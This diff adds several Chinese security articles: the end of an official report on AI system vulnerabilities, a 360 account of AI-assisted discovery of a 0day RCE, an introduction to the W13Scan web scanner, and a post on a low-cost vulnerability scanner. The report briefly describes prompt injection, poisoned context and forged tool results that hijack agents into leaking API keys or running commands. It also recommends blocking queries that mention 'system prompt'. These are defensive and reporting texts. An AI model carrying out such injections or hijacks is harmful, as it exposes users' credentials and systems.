攻击者利用多智能体委托链路、上下文记忆缺陷诱导智能体冒用或过度继承身份凭证，突破预设访问边界实现越权操作。例如，某智能体任务接管机制可被恶意网页跨域注入伪造指令，操控
|
||||
Agent
|
||||
的执行流程和决策行为，造成业务中断、敏感信息泄露等危害。
|
||||
|
||||
**（****五）代理目标劫持类漏洞隐蔽，可导致非预期高危操作。**
|
||||
攻击者通过提示注入、上下文投毒、伪造工具返回等方式篡改智能体原始任务目标，诱导其执行恶意动作。例如，某智能体未对输入指令意图进行有效安全校验，泄露可免费调用官方平台的
|
||||
API Key
|
||||
、
|
||||
Token
|
||||
等核心配置信息。
|
||||
|
||||
**（六）部分产品存在非预期代码执行类漏洞且危害严重。**
|
||||
攻击者通过提示操纵、上下文投毒等方式，诱导智能体生成未经核验的脚本、系统指令并直接运行。例如，某智能体沙箱进程管理服务
|
||||
API
|
||||
接口暴露，允许攻击者以管理员权限执行任意系统命令。
|
||||
|
||||
此外，本次测试共发现传统安全漏洞
|
||||
265
|
||||
个，占比
|
||||
30.4%
|
||||
。这表明尽管
|
||||
AI
|
||||
系统架构具有高度的技术复杂性，但因其对外暴露的接口和服务在本质上仍遵循传统应用软件的逻辑架构，导致传统安全漏洞在
|
||||
AI
|
||||
系统中依然存在。例如，某大模型存在垂直越权漏洞，可获取站点完整管理权限。
|
||||
|
||||
**PART 0****2**
|
||||
|
||||
**应对处置建议**
|
||||
|
||||
|
||||
|
||||
|
||||
Response & Recommendations
|
||||
|
||||
**（一）针对大模型面临的各类漏洞风险，持续加强安全防护措施。**
|
||||
一是采取零信任原则，将大模型输出视为不可信输入，强制验证与编码，重点对外链、代码执行等下游操作指令进行安全验证，并在沙箱等隔离环境执行模型生成的代码及工具调用操作；二是实施严格的输入输出验证和过滤，遵循最小权限原则，避免过度授权；三是将敏感指令移至安全配置库，并拦截包含“
|
||||
system prompt
|
||||
”等关键词的查询；四是落实智能体最小权限原则，增设意图与参数校验，强化调用审计及熔断管控，阻断链式风险；五是落实数据最小供给、敏感数据脱敏过滤，强化上下文边界管控与输出校验，对会话日志做脱敏留存，阻断
|
||||
AI
|
||||
产品转述外泄风险；六是加强供应商审计，强制验证第三方模型签名及数据来源，定期对第三方
|
||||
AI
|
||||
组件、框架、预训练模型、数据集进行安全评估；七是加强对传统漏洞的安全防护措施。
|
||||
|
||||
**（二）创新智测融合监测预警，打造AI漏洞闭环处置体系。**
|
||||
立足汇聚社会白帽力量的传统众测模式，积极引入大模型、智能体等技术开展智能化漏洞挖掘，探索构建
|
||||
AI
|
||||
驱动的新型智测模式，充分发挥人机协同优势，提升漏洞风险挖掘的深度与发现质效。同步强化人工智能安全风险监测预警体系建设，依托漏洞共享机制，打通漏洞上报、研判、处置全流程，形成
|
||||
AI
|
||||
漏洞风险主动发现、快速处置、修复验证的完整闭环。以”众测赋能
|
||||
+
|
||||
智能监测”双轮驱动，兼顾外部实战挖掘与常态化风险感知，持续提升
|
||||
AI
|
||||
安全风险管控能力。
|
||||
|
||||
（来源：国家计算机网络与信息安全管理中心）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
# 海量告警里揪出黑客诡计，360AI安全专家实锤0day RCE漏洞完整攻击链
|
||||
360数字安全 2026-09-30 09:30
|
||||
|
||||
****
|
||||
|
||||
|
||||
日常的攻防日志研判，就是从海量日志中寻找异常。
|
||||
|
||||
|
||||
每天的攻击探测、注入尝试、异常访问从防护系统奔涌而来，绝大多数是扫描器制造的噪声与重复告警。
|
||||
|
||||
|
||||
但近期，360 AI安全专家注意到一组请求，不像正常业务，更像有人在试探性“敲门”。
|
||||
|
||||
|
||||
循着这组请求，360 AI安全专家拆开层层编码的载荷，还原出完整攻击意图，**最终确认某Web应用存在“高危0day RCE漏洞”。攻击者一旦利用，就能像拿到“遥控器”一样操控服务器。**
|
||||
|
||||
|
||||
作为尚未公开、暂无官方补丁的0day漏洞，该风险杀伤力极强：黑客可直接执行任意系统指令，接管业务服务器，窃取核心数据，并以此为跳板对内网开展横向渗透。
|
||||
|
||||
|
||||
由于没有公开修复方案，如果未能及时发现处置，一旦漏洞被扩散利用，将对大量同类业务系统造成大面积的安全威胁。
|
||||
|
||||
|
||||
从一声“敲门”到漏洞复现，这中间究竟发生了什么？
|
||||
|
||||
|
||||
|
||||
**噪声里的“敲门声”**
|
||||
|
||||
|
||||
|
||||
|
||||
这组请求起初并不显眼，混迹于扫描器制造的噪声中，与寻常告警几无二致。若靠人工逐条翻找，几乎不可能在第一时间察觉。
|
||||
|
||||
|
||||
**但360 AI安全专家没有停留在关键词匹配层面，而是借助AI的语义理解能力，结合上下文判断攻击意图。**
|
||||
同一条请求，出现在扫描器批量试探中，与出现在定向攻击探测阶段，含义截然不同。
|
||||
|
||||
|
||||
正是这种语义级研判，让异常浮出水面：其参数并非正常业务数据，而是一段经过多级编码的探测载荷，特征极为隐蔽。
|
||||
|
||||
|
||||
**它由此从噪声中被精准剥离，升级为高置信可疑事件。研判的重心，也从人力堆叠的逐条翻找，转向“AI全量初筛、专家重点复核”的分工协作。**
|
||||
|
||||
|
||||
|
||||
|
||||
本次AI智能处置漏洞事件的成果总览
|
||||
|
||||
|
||||
问题随之而来：这只是一次普通扫描，还是有人已经盯上了这里？
|
||||
|
||||
|
||||
**从攻击链到漏洞本体**
|
||||
|
||||
|
||||
|
||||
|
||||
**锁定可疑请求后，AI随即展开顺藤摸瓜式的关联分析：把同一攻击源在不同时间、不同接口上的动作串成完整时间线，将碎片化的散点告警重新组织为一条完整的攻击链路。**
|
||||
|
||||
|
||||
|
||||
|
||||
AI通过“理解”日志中的攻击，进行漏洞的智能分析
|
||||
|
||||
|
||||
分析显示，攻击者先以低频试探摸清目标端口与组件版本，确认攻击面后再进入漏洞利用阶段。整条链路环环相扣、节奏分明。这显然是一起有预谋的针对性攻击，而非一次路过式的扫描。
|
||||
|
||||
|
||||
此时，一个更关键的问题摆在面前：攻击者到底是如何完成入侵的？
|
||||
|
||||
|
||||
顺着攻击链往回追，答案藏在载荷里。AI逐层解码，还原出多级编码掩盖下的真实指令；再拆开利用链的每一步构造，对照目标系统的组件版本与接口特征逐一求证。
|
||||
|
||||
|
||||
线索最终指向同一个结论：某接口未对外部传入参数做充分过滤，攻击者可以借此将系统命令拼接注入，并在服务器上执行。
|
||||
|
||||
|
||||
**这就是最高危的0day远程命令执行（RCE）漏洞。一个本该只响应业务请求的接口，就这样被攻击者改造成了可以远程发号施令的入口。**
|
||||
|
||||
|
||||
过去，从攻击行为反推漏洞成因，需要人类专家耗费大量时间排查；而这一次，AI沿着攻击链自动完成了绝大部分工作。
|
||||
|
||||
|
||||
**一锤定音之后**
|
||||
|
||||
|
||||
|
||||
|
||||
结论要经得起检验，就必须复现。
|
||||
|
||||
|
||||
验证在隔离沙箱中展开。**多个智能体协同推进：有的梳理攻击面，有的推演利用路径，有的搭建环境、构造请求。然而首次触发，服务器没有给出预期回应。**
|
||||
|
||||
|
||||
AI没有停在失败上。它回头检查参数，修正利用路径，再次发起验证。这一次，服务器进程按预期执行了注入的命令，靶机桌面上弹出了计算器。进程树完整记录下这条链路：Web服务进程处理恶意请求后，依次派生出命令解释进程与计算器进程。漏洞真实性，就此一锤定音。
|
||||
|
||||
|
||||
复现成功后，AI自动整理出标准化漏洞报告，涵盖描述、成因、复现步骤、危害评级与修复建议，提交审核，最终提报与处置仍由安全专家把关。
|
||||
攻击特征随后沉淀为新的监测拦截规则，反哺防护系统，让一次发现转化为持续的防护能力。
|
||||
|
||||
|
||||
这并非一次孤立的灵光乍现。
|
||||
|
||||
|
||||
从日志中一声不起眼的“敲门”，到一份带着完整证据链的漏洞报告，全程由AI深度参与乃至自主完成。这背后，是一套“监测—发现—研判—复现—处置—复盘”的全生命周期体系在持续运转。
|
||||
|
||||
|
||||
多智能体各司其职又彼此交叉验证，既保证了专业深度，也控制了误报与误判；所有验证都在严格隔离的沙箱中进行，全程留痕、可审计、可回放；每一次任务的中间产物与最终结论，又自动归档为结构化知识，反哺模型持续进化，形成“越用越强”的正向循环。
|
||||
|
||||
|
||||
**更重要的是，这套体系并非孤立运行，而是与360现有的漏洞管理与应急响应流程深度融合。AI把发现与研判的结论直接对接处置环节，成为人类安全专家的可靠助手与能力放大器。从早期辅助分析，到如今端到端完成漏洞的发现、验证与提报，AI在安全运营中的角色，正从“辅助”走向“自主”。**
|
||||
|
||||
|
||||
攻击在加速，漏洞从暴露到被利用的窗口越来越短。面对这样的对手，安全运营需要更快的发现、更准的研判、更完整的验证。360 AI安全专家的实践，正是安全运营走向智能化的一个缩影。
|
||||
|
||||
|
||||
这，或许就是安全运营的下一个常态。
|
||||
|
||||
往期推荐
|
||||
|
||||
<table><tbody><tr><td data-colwidth="100.0000%" width="100.0000%" style="border-width: 0px;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(255, 255, 255);border-style: none;padding: 0px 0px 10px;"><section style="min-height: 40px;margin: 0px 0%;"><section style="width: 100%;margin: 0px auto -10px;"><table><tbody><tr><td rowspan="2" data-colwidth="30.0000%" width="30.0000%" style="border-color: rgb(62, 62, 62);border-style: none;background-repeat: no-repeat;background-attachment: scroll;vertical-align: bottom;background-image: url("https://mmbiz.qpic.cn/sz_mmbiz_png/zfoRGB81MxO8VSPIqY0jhhibzq9yMdoShdflfY2O2sNOicmpAogEMnp8LcWCiaHobakM1lANW0HFSk8HickRrcZHiaXgtCHt0icsbo5wW8aRaJ0kc/640?wx_fmt=png&from=appmsg");padding: 0px;background-position: 50% 50% !important;background-size: cover !important;"><section style="margin: 0px 0% 4px;"><section style="text-align: right;padding: 0px 4px;color: rgb(255, 255, 255);font-size: 32px;line-height: 1;"><p><strong><span leaf="">01</span></strong></p></section></section></td><td data-colwidth="70.0000%" width="70.0000%" style="border-color: rgb(62, 62, 62);border-style: none;padding: 0px 10px;background-color: rgb(249, 249, 249);"><section style="margin: 10px 0% 0px;"><section style="color: rgb(140, 140, 140);"><p style="white-space: normal;"><span style="color: rgb(202, 29, 24);"><span leaf="">● </span></span><span style="color: rgb(58, 66, 94);"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA4MTg0MDQ4Nw==&mid=2247586499&idx=1&sn=9f0f70f075ec089ad3aa4c08aae9e67f&scene=21#wechat_redirect" textvalue="“AI安全报告”首位推荐！360构建智能体全域防护体系" data-itemshowtype="0" linktype="text" data-linktype="2">“AI安全报告”首位推荐！360构建智能体全域防护体系</a></span></span></p></section></section></td></tr><tr><td data-colwidth="70.0000%" width="70.0000%" style="border-color: rgb(62, 62, 62);border-style: none;padding: 0px 10px;background-color: rgb(249, 249, 249);"><section style="margin: 10px 0%;"><section style="line-height: 1;color: rgb(140, 140, 140);"><p style="text-align: right;white-space: normal;"><span style="font-size: 14px;color: rgb(208, 208, 208);"><span leaf="">► 点击阅读</span></span></p></section></section></td></tr></tbody></table></section></section></td></tr><tr><td data-colwidth="100.0000%" width="100.0000%" style="border-width: 0px;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(255, 255, 255);border-style: none;padding: 0px 0px 10px;"><section style="min-height: 40px;margin: 0px 0%;"><section style="width: 100%;margin: 0px auto -10px;"><table><tbody><tr><td rowspan="2" data-colwidth="30.0000%" width="30.0000%" style="border-color: rgb(62, 62, 62);border-style: none;background-repeat: no-repeat;background-attachment: scroll;vertical-align: bottom;background-image: url("https://mmbiz.qpic.cn/mmbiz_jpg/zfoRGB81MxNwD4qeIU9M1CKn8q46lDyVHlR8cfyibmNbOy4R9rc9ouAiapj8rZS6kO7FfoXKoEDeJ5dBJJQXzFaiarbyUAoapts3TogZrC8HLY/640?wx_fmt=jpeg&from=appmsg");padding: 0px;background-position: 50% 50% !important;background-size: cover !important;"><section style="margin: 0px 0% 4px;"><section style="text-align: right;padding: 0px 4px;color: rgb(255, 255, 255);font-size: 32px;line-height: 1;"><p><strong><span leaf="">02</span></strong></p></section></section></td><td data-colwidth="70.0000%" width="70.0000%" style="border-color: rgb(62, 62, 62);border-style: none;padding: 0px 10px;background-color: rgb(249, 249, 249);"><section style="margin: 10px 0% 0px;"><section style="color: rgb(71, 193, 168);"><p style="white-space: normal;"><span style="color: rgb(202, 29, 24);"><span leaf="">● <a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA4MTg0MDQ4Nw==&mid=2247586322&idx=1&sn=c68961f482c2dc603287457d88414ec8&scene=21#wechat_redirect" textvalue="ISC.AI 2026 周鸿祎演讲全文：打造中国版“Mythos”，应对网络安全新挑战" data-itemshowtype="0" linktype="text" data-linktype="2">ISC.AI 2026 周鸿祎演讲全文：打造中国版“Mythos”，应对网络安全新挑战</a></span></span></p></section></section></td></tr><tr><td data-colwidth="70.0000%" width="70.0000%" style="border-color: rgb(62, 62, 62);border-style: none;padding: 0px 10px;background-color: rgb(249, 249, 249);"><section style="margin: 10px 0%;"><section style="line-height: 1;color: rgb(140, 140, 140);"><p style="text-align: right;white-space: normal;"><span style="font-size: 14px;color: rgb(208, 208, 208);"><span leaf="">► 点击阅读</span></span></p></section></section></td></tr></tbody></table></section></section></td></tr><tr><td data-colwidth="100.0000%" width="100.0000%" style="border-width: 0px;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(255, 255, 255);border-style: none;padding: 0px 0px 10px;"><section style="min-height: 40Line truncated
|
||||
|
||||
|
||||
@@ -0,0 +1,288 @@
|
||||
# 炸裂！这款开源Web漏洞扫描器让安全检测效率提升百倍
|
||||
棉花糖糖糖
|
||||
棉花糖糖糖 棉花糖网络安全工具箱 2026-09-30 02:52
|
||||
|
||||
免责声明：本文介绍的工具仅供安全教育与合法授权测试使用，使用前请遵守当地法律法规。
|
||||
W13Scan是一款基于Python3开发的开源Web漏洞扫描器，支持主动扫描与被动扫描两种模式，可运行在Windows、Linux、macOS平台。该工具采用模块化架构设计，内置丰富的漏洞检测插件，覆盖XSS、SQL注入、命令注入、路径穿越、敏感信息泄露等常见Web安全风险。
|
||||
W13Scan Logo
|
||||
重点导读主要特性
|
||||
PART 01扫描模式
|
||||
|
||||
主动扫描：指定目标URL或批量导入URL列表，工具自动进行参数分析与漏洞检测
|
||||
被动扫描：启动本地代理服务，拦截并分析HTTP流量，发现潜在安全问题
|
||||
联动扫描：支持与crawlergo等动态爬虫工具配合，实现全链路自动化扫描
|
||||
|
||||
PART 02跨平台支持
|
||||
Python3.6及以上运行环境即可工作，不受操作系统限制。
|
||||
重点导读核心架构
|
||||
PART 03模块分工
|
||||
|
||||
|
||||
|
||||
模块
|
||||
职责
|
||||
|
||||
|
||||
|
||||
|
||||
lib/controller
|
||||
任务调度与线程管理
|
||||
|
||||
|
||||
lib/parse
|
||||
HTTP请求/响应解析
|
||||
|
||||
|
||||
lib/proxy
|
||||
异步MITM代理服务
|
||||
|
||||
|
||||
lib/reverse
|
||||
反连平台通信
|
||||
|
||||
|
||||
scanners
|
||||
漏洞检测插件库
|
||||
|
||||
|
||||
fingprints
|
||||
Web技术指纹库
|
||||
|
||||
|
||||
|
||||
PART 04插件分类
|
||||
扫描插件按作用范围分为三类：
|
||||
|
||||
PerFile：针对单个URL及其参数进行检测
|
||||
PerFolder：针对目录层级进行检测
|
||||
PerServer：针对域名整体进行检测
|
||||
|
||||
PART 05并发处理
|
||||
采用多线程并发模型，默认31线程，支持自定义线程数。任务队列统一管理，实时输出扫描进度。
|
||||
重点导读检测能力
|
||||
PART 06PerFile 插件
|
||||
|
||||
|
||||
|
||||
插件
|
||||
检测类型
|
||||
|
||||
|
||||
|
||||
|
||||
xss
|
||||
反射型XSS、存储型XSS
|
||||
|
||||
|
||||
sqli_bool
|
||||
布尔型SQL注入
|
||||
|
||||
|
||||
sqli_error
|
||||
报错型SQL注入
|
||||
|
||||
|
||||
sqli_time
|
||||
时间型SQL注入
|
||||
|
||||
|
||||
command_system
|
||||
系统命令注入
|
||||
|
||||
|
||||
command_php_code
|
||||
PHP代码执行
|
||||
|
||||
|
||||
command_asp_code
|
||||
ASP代码执行
|
||||
|
||||
|
||||
directory_traversal
|
||||
路径穿越漏洞
|
||||
|
||||
|
||||
backup_file
|
||||
备份文件泄露
|
||||
|
||||
|
||||
jsonp
|
||||
JSONP信息泄露
|
||||
|
||||
|
||||
js_sensitive_content
|
||||
JavaScript敏感信息
|
||||
|
||||
|
||||
php_real_path
|
||||
PHP真实路径泄露
|
||||
|
||||
|
||||
poc_fastjson
|
||||
Fastjson反序列化
|
||||
|
||||
|
||||
shiro
|
||||
Shiro反序列化
|
||||
|
||||
|
||||
struts2_032
|
||||
Struts2 S2-032
|
||||
|
||||
|
||||
struts2_045
|
||||
Struts2 S2-045
|
||||
|
||||
|
||||
ssti
|
||||
服务端模板注入
|
||||
|
||||
|
||||
unauth
|
||||
未授权访问
|
||||
|
||||
|
||||
webpack
|
||||
Webpack源码泄露
|
||||
|
||||
|
||||
analyze_parameter
|
||||
参数分析
|
||||
|
||||
|
||||
|
||||
PART 07PerFolder 插件
|
||||
|
||||
|
||||
|
||||
插件
|
||||
检测类型
|
||||
|
||||
|
||||
|
||||
|
||||
backup_folder
|
||||
备份目录检测
|
||||
|
||||
|
||||
directory_browse
|
||||
目录浏览漏洞
|
||||
|
||||
|
||||
phpinfo_craw
|
||||
PHPinfo文件泄露
|
||||
|
||||
|
||||
repository_leak
|
||||
仓库文件泄露
|
||||
|
||||
|
||||
|
||||
PART 08PerServer 插件
|
||||
|
||||
|
||||
|
||||
插件
|
||||
检测类型
|
||||
|
||||
|
||||
|
||||
|
||||
backup_domain
|
||||
备份域名检测
|
||||
|
||||
|
||||
errorpage
|
||||
错误页面信息
|
||||
|
||||
|
||||
http_smuggling
|
||||
HTTP走私攻击
|
||||
|
||||
|
||||
iis_parse
|
||||
IIS解析漏洞
|
||||
|
||||
|
||||
net_xss
|
||||
.Net XSS检测
|
||||
|
||||
|
||||
swf_files
|
||||
SWF文件检测
|
||||
|
||||
|
||||
idea
|
||||
IDEA配置泄露
|
||||
|
||||
|
||||
|
||||
PART 09指纹识别
|
||||
内置Web技术指纹识别能力，支持识别以下类型：
|
||||
|
||||
框架指纹
|
||||
操作系统指纹
|
||||
编程语言指纹
|
||||
Web服务器指纹
|
||||
|
||||
重点导读反连平台
|
||||
支持配置反连平台用于检测无回显漏洞：
|
||||
|
||||
HTTP反连
|
||||
DNS反连
|
||||
RMI反连
|
||||
|
||||
适用于检测命令注入、SQL注入时间盲注等场景。
|
||||
重点导读输出格式
|
||||
扫描结果支持多种输出方式：
|
||||
|
||||
JSON格式：完整原始数据
|
||||
HTML报告：可视化报告页面
|
||||
|
||||
重点导读安装使用
|
||||
PART 10环境要求
|
||||
Python 3.6+
|
||||
PART 11安装步骤
|
||||
bashgit clone https://github.com/w-digital-scanner/w13scan.git
|
||||
cd w13scan
|
||||
pip3 install -r requirements.txt
|
||||
cd W13SCAN
|
||||
python3 w13scan.py -h
|
||||
|
||||
PART 12被动扫描模式
|
||||
bashpython3 w13scan.py -s 127.0.0.1:7778 --html
|
||||
|
||||
PART 13主动扫描模式
|
||||
bashpython3 w13scan.py -u http://target.com
|
||||
|
||||
批量扫描：
|
||||
bashpython3 w13scan.py -f urls.txt --html
|
||||
|
||||
重点导读扩展集成
|
||||
W13Scan提供插件开发接口，安全研究人员可基于现有架构扩展自定义检测模块。开发文档位于doc/dev.md。
|
||||
插件开发要点：
|
||||
|
||||
继承插件基类
|
||||
使用FakeReq获取请求信息
|
||||
使用FakeResp获取响应信息
|
||||
返回标准JSON格式结果
|
||||
|
||||
本公众号非项目作者，仅做技术分享。
|
||||
本文介绍的项目开源地址如下：
|
||||
bashhttps://github.com/w-digital-scanner/w13scan
|
||||
|
||||
## 广告时间
|
||||
|
||||
|
||||
|
||||
低价考证包括但不限于CISP系列、PMP等等国内网安证书、网络安全交流群请关注公众号后点菜单栏的找棉花糖。
|
||||
|
||||
|
||||
糖心会员站，网络安全必备网站，包括在线内网靶场、web靶场、src靶场、应急响应靶场，以及各种网安资料、教程、方案模版、以及超级多在线工具，99元包年！详细介绍：棉花糖会员站介绍(26年4月26日版本) ：在线内网靶场、网安资料方案、在线工具全能资源站，看完介绍百分百心动！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
# 用 Jev 构建更快、更便宜的漏洞扫描器
|
||||
depthfirst
|
||||
depthfirst securitainment 2026-09-30 04:06
|
||||
|
||||
|
||||
## 引言
|
||||
|
||||
扫描代码漏洞正在成为软件开发生命周期（SDLC）中不可或缺的一环。然而，这件事对**人和 token 来说都很昂贵**
|
||||
。结果是组织要么扫描频率远低于应有水平，要么让代码库的大部分区域处于未检查状态。
|
||||
|
||||
我们用 **Jev**
|
||||
做实验，构建了一个有效的漏洞扫描器，其表现**接近 GPT-5.6 Luna，而成本更低**
|
||||
。
|
||||
|
||||
我们认为这条研究路线很重要，因为**黑客攻击正在变成一场效率游戏**
|
||||
。攻击者可以把全部精力投入到寻找**一个**
|
||||
高回报漏洞上；而防御者必须**持续覆盖每一个仓库、每一次提交**
|
||||
。在一个自主攻击已成常态的世界里，我们相信应当支持防御者重新思考他们的安全策略 [1][2][3]。
|
||||
|
||||
在 depthfirst，我们痴迷于**高性价比的漏洞发现研究**
|
||||
，因为我们为之构建的世界是：当自主攻击变得普遍时，防御者能够持续、主动地保护自己的代码。
|
||||
## 我们是如何做到的
|
||||
|
||||
过去几周，一种名为 **Jev**
|
||||
的新架构受到大量关注。**Jev 是一个分类器。**
|
||||
给它一些上下文、一个问题，以及一个选项列表，它会为每个选项输出一个概率。与 LLM 不同，它输出的是**概率**
|
||||
，而不是通过生成 token 序列来回答问题。
|
||||
|
||||
你可以这样问 Jev：「这段代码有漏洞吗？」提供相关上下文，然后收到它对「真」的概率。
|
||||
|
||||
|
||||
|
||||
对**通用缺陷枚举（CWE）**
|
||||
这类漏洞类型做分类也是同样的道理。我们可以针对每一个 CWE 向 Jev 提一个「真/假」问题。由于每个问题相互独立，我们可以**全部并行提问并缓存共享上下文**
|
||||
。
|
||||
|
||||
|
||||
|
||||
这既省时间又省钱。**输入价格为每百万 token 0.042 美元，比 Luna 便宜五倍，且输出免费。**
|
||||
每次调用耗时约**四分之一秒**
|
||||
，而 Luna 约为 **10 秒**
|
||||
。代价是它的**上下文窗口只有 32,000 token**
|
||||
，而 Luna 是 100 万 token。
|
||||
|
||||
作为研究的一部分，我们围绕 Jev 构建了一个漏洞扫描器，看看它在 **dfbench**
|
||||
上的表现。这是一个新的运行框架，通过把整个扫描拆解成**分类任务**
|
||||
来绕开 32k 的上下文限制：
|
||||
- **找出可能含漏洞的代码。**
|
||||
首先把仓库切成小块。然后把每个块展示给 Jev，问它哪些块是安全关键的、或者根据任务最可能含有漏洞。概率最高的块成为后续步骤的**上下文**
|
||||
。
|
||||
|
||||
- **判断是否存在漏洞。**
|
||||
Jev 带着第一步得出的上下文**并行**
|
||||
扫描每个块，定位潜在的漏洞。
|
||||
|
||||
- **对漏洞及其细节进行分类。**
|
||||
随后向 Jev 提出一系列问题，以获取漏洞类型、攻击模式分类、不可信输入的**传播路径**
|
||||
（代码位置），然后定位攻击者可控输入**从哪里进入代码**
|
||||
、**在哪里造成危害**
|
||||
、**使其得以成立的缺陷检查或逻辑**
|
||||
，以及**可能的安全影响**
|
||||
。
|
||||
|
||||
最终产出的是一个漏洞、它的位置，以及攻击者可以如何利用它。
|
||||
|
||||
由于该扫描器**可并行化**
|
||||
且每次调用都很快，完整扫描用 Jev 只需**约 2 秒**
|
||||
，而大多数其他模型**至少需要 3 分钟**
|
||||
。
|
||||
|
||||
|
||||
## 局限
|
||||
- **我们的 Jev 扫描器只会回答我们想到要问的问题。**
|
||||
我们必须在运行框架中纳入相关的漏洞发现问句，然后由 Jev 来回答。不过，把 Jev 与 LLM 智能体耦合起来可能带来更好的表现，因为智能体能注意到我们构建运行框架时未曾预料到的东西。
|
||||
|
||||
- **我们的 Jev 扫描器够深入，但仍可进一步扩展。**
|
||||
Jev 在覆盖整个代码库扫描漏洞方面**非常高效**
|
||||
。然而，许多真正被利用的漏洞需要**连接不同部分**
|
||||
，这需要更强的推理能力——LLM 在这方面强得多。Jev 仍可通过为 LLM 提供相关上下文来辅助这一过程。
|
||||
|
||||
- **发现可能缺少足够上下文。**
|
||||
Jev 能对漏洞类型与攻击模式分类，但安全团队可能想要关于实际漏洞是什么、以及如何被利用的更多细节。可以用 LLM 来**丰富**
|
||||
Jev 的输出以提供这些信息。
|
||||
|
||||
## 后续工作
|
||||
|
||||
我们的 Jev 扫描器展现出很大潜力，可作为漏洞发现与验证的**极其廉价的第一遍筛选**
|
||||
。因为它**极快、每次扫描只需几美分**
|
||||
，可以用在以前因过于昂贵或不方便而无法覆盖的地方。
|
||||
|
||||
例如，你可以用它扫描大型依赖树中的**每一个包**
|
||||
，或者给防御者提供一种**廉价的初筛手段**
|
||||
，在升级到更昂贵的模型之前先行分流。
|
||||
|
||||
我们很期待继续构建更便宜、更强大的漏洞扫描器，让防御者无论攻击者移动多快，都能保持领先。
|
||||
## 参考文献
|
||||
|
||||
[1] Anthropic，《捣毁一场 AI 编排的网络间谍行动》，2025 年。
|
||||
|
||||
[2] Hugging Face，《安全事件披露，2026 年 7 月》，2026 年。
|
||||
|
||||
[3] Unit 42，《讲中文的威胁行为体利用 AI 模型实施自主化网络攻击》，2026 年。
|
||||
|
||||
> 免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
|
||||
|
||||
Reference in new issue
Block a user